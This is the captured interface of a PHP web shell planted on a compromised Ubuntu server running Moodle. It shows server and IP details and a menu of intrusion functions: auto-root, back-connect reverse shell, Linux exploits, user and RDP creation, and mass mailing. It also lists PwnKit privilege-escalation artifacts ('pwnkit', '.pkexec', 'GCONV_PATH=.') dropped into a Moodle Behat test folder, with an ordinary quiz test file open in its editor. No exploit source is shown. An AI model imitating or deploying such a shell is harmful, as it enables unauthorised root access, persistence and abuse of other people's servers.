Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
quiz /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_quiz.feature
2.64
KB
-rwxrwxrwx
attempt_basic.feature
7.83
KB
-rwxrwxrwx
attempt_begin.feature
5.51
KB
-rwxrwxrwx
attempt_redo_questions.feature
6.72
KB
-rwxrwxrwx
attempt_require_previous.featu...
11.43
KB
-rwxrwxrwx
attempt_sequential.feature
4.53
KB
-rwxrwxrwx
backup.feature
3.16
KB
-rwxrwxrwx
behat_mod_quiz.php
46.02
KB
-rwxrwxrwx
completion_condition_attempts_...
2.75
KB
-rwxrwxrwx
completion_condition_passing_g...
2.42
KB
-rwxrwxrwx
editing_add.feature
11.13
KB
-rwxrwxrwx
editing_add_from_question_bank...
5.88
KB
-rwxrwxrwx
editing_add_random.feature
2.76
KB
-rwxrwxrwx
editing_edit_random.feature
2.84
KB
-rwxrwxrwx
editing_move_by_click.feature
4.86
KB
-rwxrwxrwx
editing_remove_multiple_questi...
10.09
KB
-rwxrwxrwx
editing_remove_question.featur...
4.38
KB
-rwxrwxrwx
editing_repaginate.feature
6.6
KB
-rwxrwxrwx
editing_require_previous.featu...
13.23
KB
-rwxrwxrwx
editing_section_headings.featu...
18.68
KB
-rwxrwxrwx
editing_set_marks_no_attempts....
3.43
KB
-rwxrwxrwx
editing_set_marks_with_attempt...
3.59
KB
-rwxrwxrwx
manually_mark_question.feature
4.5
KB
-rwxrwxrwx
preview.feature
1.73
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
quiz_group_override.feature
4.65
KB
-rwxrwxrwx
quiz_no_calendar_capabilities....
1.77
KB
-rwxrwxrwx
quiz_reset.feature
3.14
KB
-rwxrwxrwx
quiz_user_override.feature
5.31
KB
-rwxrwxrwx
reattempt_quiz.feature
2.49
KB
-rwxrwxrwx
settings_form_fields_disableif...
5.55
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : attempt_redo_questions.feature
@mod @mod_quiz Feature: Allow students to redo questions in a practice quiz, without starting a whole new attempt In order to practice particular skills I am struggling with As a student I need to be able to redo each question in a quiz as often as necessary without starting a whole new attempt, if my teacher allows it. Background: Given the following "users" exist: | username | firstname | lastname | email | | student | Student | One | student@example.com | | teacher | Teacher | One | teacher@example.com | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | student | C1 | student | | teacher | C1 | teacher | And the following "question categories" exist: | contextlevel | reference | name | | Course | C1 | Test questions | And the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | canredoquestions | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | 1 | And quiz "Quiz 1" contains the following questions: | question | page | maxmark | | TF1 | 1 | 2 | | TF2 | 1 | 1 | @javascript Scenario: After completing a question, there is a redo question button that restarts the question Given I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" When I press "Attempt quiz now" And I click on "False" "radio" in the "First question" "question" And I click on "Check" "button" in the "First question" "question" And I press "Try another question like this one" Then the state of "First question" question is shown as "Not complete" And I should see "Marked out of 2.00" in the "First question" "question" @javascript Scenario: The redo question button is visible but disabled for teachers Given I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" When I press "Attempt quiz now" And I click on "False" "radio" in the "First question" "question" And I click on "Check" "button" in the "First question" "question" And I log out And I am on the "Quiz 1" "mod_quiz > View" page logged in as "teacher" And I follow "Attempts: 1" And I follow "Review attempt" Then the "Try another question like this one" "button" should be disabled @javascript Scenario: The redo question buttons are no longer visible after the attempt is submitted. Given I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" When I press "Attempt quiz now" And I click on "False" "radio" in the "First question" "question" And I click on "Check" "button" in the "First question" "question" And I press "Finish attempt ..." And I press "Submit all and finish" And I click on "Submit all and finish" "button" in the "Confirmation" "dialogue" Then "Try another question like this one" "button" should not exist @javascript @_switch_window Scenario: Teachers reviewing can see all the questions attempted in a slot Given I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" When I press "Attempt quiz now" And I click on "False" "radio" in the "First question" "question" And I click on "Check" "button" in the "First question" "question" And I press "Try another question like this one" And I press "Finish attempt ..." And I press "Submit all and finish" And I click on "Submit all and finish" "button" in the "Confirmation" "dialogue" And I log out And I am on the "Quiz 1" "mod_quiz > View" page logged in as "teacher" And I follow "Attempts: 1" And I follow "Review attempt" And I click on "1" "link" in the "First question" "question" And I switch to "reviewquestion" window Then the state of "First question" question is shown as "Incorrect" And I click on "1" "link" in the "First question" "question" And the state of "First question" question is shown as "Not complete" And I switch to the main window And the state of "First question" question is shown as "Not answered" And I should not see "Submit" in the ".history" "css_element" And I navigate to "Results > Statistics" in current page administration And I follow "TF1" And "False" row "Frequency" column of "quizresponseanalysis" table should contain "100.00%" And "True" row "Frequency" column of "quizresponseanalysis" table should contain "0.00%" And "[No response]" row "Frequency" column of "quizresponseanalysis" table should contain "100.00%" @javascript Scenario: Redoing question 1 should save any changes to question 2 on the same page Given I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" When I press "Attempt quiz now" And I click on "False" "radio" in the "First question" "question" And I click on "Check" "button" in the "First question" "question" And I click on "True" "radio" in the "Second question" "question" And I press "Try another question like this one" And I click on "Check" "button" in the "Second question" "question" Then the state of "Second question" question is shown as "Correct" @javascript Scenario: Redoing questions should work with random questions as well Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | random | Random (Test questions) | 0 | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | canredoquestions | | quiz | Quiz 2 | Quiz 2 description | C1 | quiz2 | immediatefeedback | 1 | And quiz "Quiz 2" contains the following questions: | question | page | | Random (Test questions) | 1 | And user "student" has started an attempt at quiz "Quiz 2" randomised as follows: | slot | actualquestion | | 1 | TF1 | And I am on the "Quiz 2" "mod_quiz > View" page logged in as "student" When I press "Continue the last attempt" And I should see "First question" And I click on "False" "radio" And I click on "Check" "button" And I press "Try another question like this one" Then I should see "Second question" And "Check" "button" should exist
Close